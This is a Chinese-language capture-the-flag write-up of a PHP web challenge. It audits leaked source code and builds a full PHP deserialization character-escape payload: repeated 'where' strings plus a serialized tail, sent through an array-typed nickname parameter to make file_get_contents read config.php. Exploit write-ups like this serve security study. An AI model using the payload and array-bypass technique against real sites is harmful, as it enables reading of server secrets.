目录
知识点
信息收集
尝试SQL注入
源码目录扫描
代码审计
payload生成
知识点
- 信息泄露
- 参数传递数组绕过字符串检测
- 反序列化字符逃逸
信息收集
收集到了一只超可爱的小喵
尝试SQL注入
用户名不存在的回显
密码无效的回显
用户存在,密码错误的回显
判断闭合(失败)
密码为3-16位数字
尝试到这里暂时没有思路了
源码目录扫描
/profile.php
/register.php
/www.zip
竟然可以注册admin账户,应该不是越权类题目
登录后如下,先不填写内容,先下载www.zip的源码看看
代码审计
implode(separator,array) 函数返回一个由数组元素组合成的字符串
参数 | 描述 |
---|---|
separator | 可选。规定数组元素之间放置的内容。默认是 ""(空字符串)。 |
array | 必需。要组合为字符串的数组。 |
在PHP中不能定义重名的函数,也包括不能再同一个类中定义重名的方法,所以也就没有方法重载。但在子类中可以定义和父类重名的方法,因为父类的方法已经在子类中存在,这样在子类中就可以把从父类中继承过来的方法重写。
通过extends来继承父类
register.php这里可以看到注册账户的检验逻辑
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
config.php有个root用户,在服务端docker的主机里,$flag变量应该存的就是我们要的flag
class.php两个类:user和父类mysql
profile.php这里反序列化前面上传时序列化的文件,然后base64编码上传的文件
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
upload.php上传的检测逻辑,这里上传的内容被序列化了
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
很明显我们的突破口在base64_encode(file_get_contents($profile['photo']));我们回溯看看photo参数的处理逻辑
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$profile = unserialize($profile);
$phone = $profile['phone'];
$photo = base64_encode(file_get_contents($profile['photo']));
漏洞出现在这句逻辑里面,利用它通过file_get_contents,去请求config.php文件
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
hacker为6个字符,而where为5个字符,存在缩短逃逸的风险
我们现在来查找传参的入口
在profile.php里,photo是$profile数组里键名为photo的键值,$profile又是通过$user的show_profile方法传过来的
user类继承了mysql类,这里先调用了父类的filter函数,show_profile里面又调用了父类的select函数
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
调用链如下
profile.php的file_get_contents =》 show_profile() =》 class.php里的select() =》 数据库 =》 class.php里的update() =》 update_profile() =》 update.php里调用传参。
photo被md5处理,因此我们对nickname参数进行攻击
$profile['photo'] = 'upload/' . md5($file['name']);
我们查看nickname的处理条件
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
这个正则的意思是匹配除了a-zA-Z0-9_之外的字符, “^” 符号在 “[]” 里面为取非的意思。
这里用到数组绕过
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) =null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) =null
strpos(Array(),“abc”) = null
strlen(Array()) = null
payload生成
本地调试查看数组和序列化的结尾均为";}
a:4:{s:5:"phone";i:17111111111;s:5:"email";s:9:"17@qq.com";s:8:"nickname";a:1:{i:0;s:5:"admin";}s:5:"photo";s:10:"config.php";}
目标payload处理
echo strlen('";}s:5:"photo";s:10:"config.php";}');
34
因此我们需要重复34个where进行字符串增长
因此我们payload指定为
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
nickname改成nickname[] 数组
查看源码,base64解码拿得到flag